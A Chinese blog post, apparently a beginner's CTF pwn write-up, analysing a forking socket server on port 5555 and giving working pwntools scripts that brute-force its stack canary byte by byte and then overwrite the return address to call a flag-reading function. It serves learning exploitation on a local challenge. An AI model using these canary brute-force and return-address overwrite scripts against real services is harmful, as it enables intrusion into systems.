CANARY**
程序员文章站
2024-01-20 11:30:22
...
小白一枚最近开始上手搞pwn,不断认识到一些新的知识,感觉这个CANARY**挺有意思,估计以后也会常用,写一篇博客记录一下。
主要是向大佬学习,然后看了他们的博客,自己在一点点分析出来,可能比较啰嗦,但尽力讲的细致一点,也方便之后的小白理解。
本文是向这位大佬学习:
http://0x48.pw/2017/03/14/0x2d/
CANARY**
题目文件在那位大佬的博客里有链接,是这个:
0x0001
拿到这个题之后首先看出是一个 elf 文件,拖到我的kali里面,用 binwalk 查看一下:
一个64位的文件,静态反汇编IDA
0x0002
搜索字符串之后锁定在了main函数
看完main函数之后,大致有了认识,这个程序创建了socket连接,并且监听5555端口的信息。含有最初的对v7赋值以及最后一步的检测。因为有了fork()函数,
里面含涉及到几个比较重要的函数:
第十行的sub_400B76():
这个函数可以告诉我们,正常情况下在题目文件当前目录下有一个文件名为 “flag” 的文件,推测我们最重要获得的flag就在里面,引文这是在自己的电脑上做这个题,所以自己赶紧在题目文件旁边新建一个flag文件(没有这个文件题目无法运行)。
还有最后返回的是fd这个文件指针,指向的是unk_602160这个空间,点进去看一看是一个103个字节的空间,但是他每次读取的时候,只读出0x64个字节的数据。
第五十四行的sub_400BE9():
这个函数实在 if 的判断条件里面,跟据main函数判断,我们想让程序正常从端口上接受到数据,那么他的返回值应该为 0 。
那么就需要在sub_400BE9()这个函数内if条件不成立,即从fd所指向的地方读取数据到一个s指向的大小为0x400字节的缓冲区中,返回值为收到数据的字节数,正常情况下这里返回的数据是不等于 -1 的,所以,这里负责将受到的数据从 fd 套接字中转存至缓冲区 s 并且打印出来。
0x0003
整理一下思路,这个程序干了什么:
首先创建socket的连接,然后fork()出一个子进程,保持对本机的5555端口进行监听(当然这里排除了可能发生错误的情况),并且只有一种条件下可以正常输出收到的数据,并且将数据打印出来。因为有一个恒成立的while(1)循环,所以每次收到数据之后,不管结果如何都会继续fork(),因此这个程序具有连续多次处理受到的数据的功能,所以只要跑起来,就可以一直给他发数据,并且保证每次的处理。
首先创建socket的连接,然后fork()出一个子进程,保持对本机的5555端口进行监听(当然这里排除了可能发生错误的情况),并且只有一种条件下可以正常输出收到的数据,并且将数据打印出来。因为有一个恒成立的while(1)循环,所以每次收到数据之后,不管结果如何都会继续fork(),因此这个程序具有连续多次处理受到的数据的功能,所以只要跑起来,就可以一直给他发数据,并且保证每次的处理。
问题来了,如何获取flag,他只是将flag文件读出来,放在了内存里并不会给你显示,所以我们需要向他发送合适的数据,修改返回地址并打印出我们相要的数据。
0x0004
栈结构分析:
0x0005
首先突破栈的CANARY的保护,我们要想办法获取CANARY的值,这里使用**的方法,因为每次都是fork出的子程序,所以每次的内存状况完全一样,CANARY的值不变。
直接上脚本:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
# blasting canary
canary = "\x00"
padding = "a"*104
for x in xrange(7):
for y in xrange(256):
p = remote("127.0.0.1", 5555)
print p.recv()
p.send(padding+canary+chr(y))
try:
info = p.recv()
print info
except:
p.close()
continue
p.close()
break
canary += chr(y)
print "success get blasting!"
print canary.encode('hex')
实战结果:
最下面的这个数据就是八个字节的CANARY的值
漏洞利用脚本:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
padding = "a"*104
canary = "\x00\xf4\x80\x46\x1a\xa5\x09\xfa"
p = remote("127.0.0.1", 5555)
p.recv()
ret = 0x400b76
ret2 = 0x400bc6
p.send(padding+canary+"a"*8+p64(ret)+p64(ret2))
print p.recv()
当然这里的canary的值要与上一步的结果一样,因为在此运行的时候这个值会变。所以每让这个程序运行一次都要修改。
这里解释一下这一句:
p.send(padding+canary+"a"*8+p64(ret)+p64(ret2))
因为我们已经知道了canary的值,那么就可以使程序不因canary被修改而错误,之后的8个‘a’是覆盖rbp的值正如第四步图片中看到的那样。
再往后是读取flag文件的函数sub_400B76(),执行完这个函数之后就开始执行 0x400BC6地址的代码,因为sub_400B76()这个函数是没有参数的,所以可以直接将ret2的值直接跟在后面。sub_400B76()这个函数执行过程中只是影响栈中上面的值,函数最终执行结束栈恢复,并且默认在sub_400B76()下面的那个数据为返回地址(下一条指令的地址),这样就可以输出flag了。
实战结果:
可以看到这里就可以把flag输出出来了(这个flag是我自己写的,就是最初写的那个文件里面的内容),实际上是调用了源代码中的这一段代码:
自我感觉这部分代码好像是出题人为了能让做题的人收到flag的内容专门写的一部分,他单独的一点代码段,不属于其他函数,单独的存在,如果不是控制返回地址跳到这里,应该是不会执行这段代码的。
上一篇: seo应从用户需求入手
下一篇: 计算机中毒后的正确处理方法